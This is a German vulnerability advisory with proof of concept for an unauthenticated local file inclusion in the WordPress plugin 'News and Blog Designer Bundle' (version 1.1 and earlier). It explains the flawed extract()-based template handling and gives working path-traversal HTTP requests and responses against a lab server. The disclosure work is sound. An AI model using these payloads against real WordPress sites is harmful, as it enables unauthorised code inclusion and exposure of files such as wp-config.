
Das News and Blog Designer Bundle-Plugin für WordPress weist in Version 1.1 und allen früheren Versionen eine Schwachstelle auf, die durch den template-Parameter zu einer lokalen Dateieinbindung (Local File Inclusion) führt. Diese Schwachstelle ermöglicht es nicht authentifizierten Angreifern, beliebige .php-Dateien auf dem Server einzubinden und auszuführen, wodurch jeder darin enthaltene PHP-Code ausgeführt werden kann. In Szenarien, in denen das Hochladen und Einbinden von .php-Dateien erlaubt ist, können Angreifer diese Schwachstelle ausnutzen, um Zugriffskontrollen zu umgehen, sensible Daten zu erlangen oder Codeausführung zu erreichen.
Schwachstellentyp: Local File Inclusion (LFI)
Betroffene Versionen: News and Blog Designer Bundle 1.1 und alle früheren Versionen
Schweregrad: Hoch
Angriffskomplexität: Niedrig (keine Authentifizierung erforderlich)
Die Hauptschwachstelle befindet sich in der Methode nbdb_fetch_more_post() in der Datei includes/class-nbdb-ajax.php.
sanitize_text_field(extract( $_POST['shrt_param'] ));
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
Problem 1: Unsachgemäße Verwendung der extract()-Funktion
Zeile 31 hat ein schwerwiegendes Problem:
sanitize_text_field(extract( $_POST['shrt_param'] ));
extract() nimmt die Schlüssel des Arrays als Variablennamen und die Werte als Variablenwerte und extrahiert sie direkt in den aktuellen Gültigkeitsbereich.extract() ist die Anzahl der erfolgreich extrahierten Variablen (eine Ganzzahl), nicht das Array selbst.sanitize_text_field() erwartet einen String-Parameter, aber hier wird eine Ganzzahl übergeben.Problem 2: Fehlende Parameterüberprüfung
Zeile 33 verwendet direkt die Variable $template, um den Dateipfad zu erstellen:
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template stammt von extract($_POST['shrt_param']) und wird vollständig durch Benutzereingaben gesteuert.Problem 3: Nur Überprüfung der Dateiexistenz
Zeile 34 prüft nur, ob die Datei existiert:
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
file_exists() überprüft nur, ob die Datei existiert, nicht die Gültigkeit des Pfades.$template kontrollieren kann, kann er durch ../ einen Directory-Traversal durchführen.include($template_file) ausgeführt, was zu einer beliebigen Dateieinbindung führt.In shortcodes/class-nbdb-shortcode.php verwenden alle Shortcode-Handling-Funktionen eine Whitelist-Überprüfung:
$template = ($template && (array_key_exists(trim($template), $shortcode_templates))) ? trim($template) : 'template-1';
nbdb_post_template(), um die Liste der erlaubten Vorlagen zu erhalten (nur template-1 und template-2).array_key_exists() für die Whitelist-Überprüfung.template-1 verwendet.Dies zeigt, dass der Entwickler weiß, wie Parameter korrekt überprüft werden, aber in der AJAX-Handling-Funktion wurde die Überprüfung ausgelassen.
add_action( 'wp_ajax_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
add_action( 'wp_ajax_nopriv_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
wp_ajax_- als auch den wp_ajax_nopriv_-Hook.wp_ajax_nopriv_ ermöglicht den Zugriff für nicht eingeloggte Benutzer./wp-admin/admin-ajax.phpaction=nbdb_fetch_more_postshrt_param[template] (z. B. ../../../../wp-config)extract($_POST['shrt_param']) aus und extrahiert template als Variable.NBDB_DIR . '/view/nbdb-masonry/' . '../../../../wp-config' . '.php'file_exists() true zurück.include($template_file) aus, was die PHP-Zieldatei einbindet und ausführt.wp-config.php)..php haben (der Code hat die Endung .php fest codiert).include() die eingebundene Datei ausführt. Die Voraussetzung für „lesen können" ist, dass das eingebundene PHP selbst sichtbare Ausgabe erzeugt (echo/print/Fehler/Protokollantwort), sonst sieht man den Inhalt nicht.POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 214
action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../xmlrpc&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:12:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Connection: close
Vary: Accept-Encoding
Content-Length: 403
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>-32700</int></value>
</member>
<member>
<name>faultString</name>
<value><string>parse error. not well formed</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 270
action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../wp-content/themes/twentytwentyfour/patterns/page-home-blogging&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:51:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Vary: Accept-Encoding
Content-Length: 3185
Content-Type: text/html; charset=UTF-8
{"success":1,"data":"\n<!-- wp:pattern {\"slug\":\"twentytwentyfour\/text-centered-statement-small\"}\t\/-->\n\n<!-- wp:group {\"align\":\"wide\",\"style\":{\"spacing\":{\"margin\":{\"top\":\"0\",\"bottom\":\"0\"},\"padding\":{\"top\":\"var:preset|spacing|40\",\"bottom\":\"var:preset|spacing|40\"}}},\"layout\":{\"type\":\"constrained\"}} -->\n<div class=\"wp-block-group alignwide\" style=\"margin-top:0;margin-bottom:0;padding-top:var(--wp--preset--spacing--40);padding-bottom:var(--wp--preset--spacing--40)\">\n\t<!-- wp:columns {\"align\":\"wide\",\"style\":{\"spacing\":{\"blockGap\":{\"top\":\"1rem\",\"left\":\"1rem\"}}}} -->\n\t<div class=\"wp-block-columns alignwide\">\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"60%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:60%\">\n\t\t\t<!-- wp:query {\"query\":{\"perPage\":3,\"pages\":0,\"offset\":0,\"postType\":\"post\",\"order\":\"desc\",\"orderBy\":\"date\",\"author\":\"\",\"search\":\"\",\"exclude\":[],\"sticky\":\"\",\"inherit\":true}} -->\n\t\t\t<div class=\"wp-block-query\">\n\t\t\t\t<!-- wp:post-template -->\n\t\t\t\t<!-- wp:group {\"tagName\":\"article\",\"layout\":{\"type\":\"flex\",\"orientation\":\"vertical\",\"justifyContent\":\"stretch\"}} -->\n\t\t\t\t<article class=\"wp-block-group\">\n\t\t\t\t\t<!-- wp:post-featured-image \/-->\n\n\t\t\t\t\t<!-- wp:post-title {\"isLink\":true,\"fontSize\":\"large\"} \/-->\n\n\t\t\t\t\t<!-- wp:template-part {\"slug\":\"post-meta\"} \/-->\n\n\t\t\t\t<\/article>\n\t\t\t\t<!-- \/wp:group -->\n\n\t\t\t\t<!-- wp:post-excerpt {\"moreText\":\"\",\"excerptLength\":40} \/-->\n\n\t\t\t\t<!-- wp:spacer -->\n\t\t\t\t<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\">\n\t\t\t\t<\/div>\n\t\t\t\t<!-- \/wp:spacer -->\n\t\t\t\t<!-- \/wp:post-template -->\n\n\t\t\t\t<!-- wp:query-pagination {\"paginationArrow\":\"arrow\",\"layout\":{\"type\":\"flex\",\"justifyContent\":\"space-between\"}} -->\n\t\t\t\t<!-- wp:query-pagination-previous \/-->\n\n\t\t\t\t<!-- wp:query-pagination-numbers \/-->\n\n\t\t\t\t<!-- wp:query-pagination-next \/-->\n\t\t\t\t<!-- \/wp:query-pagination -->\n\n\t\t\t\t<!-- wp:query-no-results -->\n\t\t\t\t<!-- wp:pattern {\"slug\":\"twentytwentyfour\/hidden-no-results\"} \/-->\n\t\t\t\t<!-- \/wp:query-no-results -->\n\t\t\t<\/div>\n\t\t\t<!-- \/wp:query -->\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"30%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:30%\">\n\t\t\t<!-- wp:template-part {\"slug\":\"sidebar\",\"tagName\":\"aside\"} \/-->\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\t<\/div>\n\t<!-- \/wp:columns -->\n<\/div>\n<!-- \/wp:group -->\n\n<!-- wp:pattern {\"slug\":\"twentytwentyfour\/cta-subscribe-centered\"}\t\/-->\n","count":1}